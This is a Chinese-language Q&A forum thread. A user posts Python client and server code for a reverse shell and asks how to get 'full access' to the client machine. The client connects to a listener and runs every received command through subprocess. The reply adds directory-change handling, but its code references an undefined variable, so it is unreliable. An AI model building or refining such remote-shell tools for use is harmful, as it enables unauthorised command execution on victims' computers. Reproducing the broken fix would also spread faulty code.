我正在嘗試使用 python 的反向 shell 獲得具有完全權(quán)限的完全訪問權(quán)限。連接建立后，我可以執(zhí)行“ipconfig”或“dir”等命令（盡管有時(shí)我需要詢問兩次才能獲得“dir”命令的結(jié)果。但是，當(dāng)我嘗試使用“cd..”命令更改目錄時(shí)，它被卡住并且不返回任何內(nèi)容。這是我的客戶文件：import socketimport subprocessSERVER_HOST = "192.168.1.81"SERVER_PORT = 5003s = socket.socket()s.connect((SERVER_HOST, SERVER_PORT))while True: command = s.recv(1024).decode() if command.lower() == "exit": break else: output = subprocess.getoutput(command) s.send(output.encode())s.close()這是我的服務(wù)器文件：import socketSERVER_HOST = "192.168.1.81"SERVER_PORT = 5003s = socket.socket()s.bind((SERVER_HOST, SERVER_PORT))s.listen(5)print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")client_socket, client_address = s.accept()print(f"{client_address[0]}:{client_address[1]} Connected!")while True: command = input("Enter the command you wanna execute:") client_socket.send(command.encode()) if command.lower() == "exit": break else: results = client_socket.recv(1024).decode() print(results)client_socket.close()s.close()這是我得到的以及卡住的地方：Listening as 192.168.1.81:5003 ...192.168.1.81:52553 Connected! Enter the command you wanna execute:dir Volume in drive C is Windows Volume Serial Number is 7E4C-AD89 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke10/11/2020 08:45 AM <DIR> .10/11/2020 08:45 AM <DIR> ..10/11/2020 08:44 AM <DIR> .idea10/11/2020 12:40 AM 0 Client.py10/11/2020 08:45 AM 569 my_client.py10/11/2020 12:40 AM 885 my_server.py 3 File(s) 1,454 bytes 3 Dir(s) 46,585,339,904 bytes freeEnter the command you wanna execute:cd..# It gets stuck here, it does not return anything.如何獲得對(duì)客戶端的完全訪問權(quán)限并執(zhí)行任何可能的命令？
1 回答
阿波羅的戰(zhàn)車
TA貢獻(xiàn)1862條經(jīng)驗(yàn) 獲得超6個(gè)贊
通過(guò)在客戶端文件中使用“os”庫(kù)和“os.chdir”方法來(lái)解決，如下所示：
import socket
import subprocess
import os # Import this library
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
command = s.recv(1024).decode()
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"
if command.lower() == "exit":
break
else:
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
添加回答
舉報(bào)
0/150
提交
取消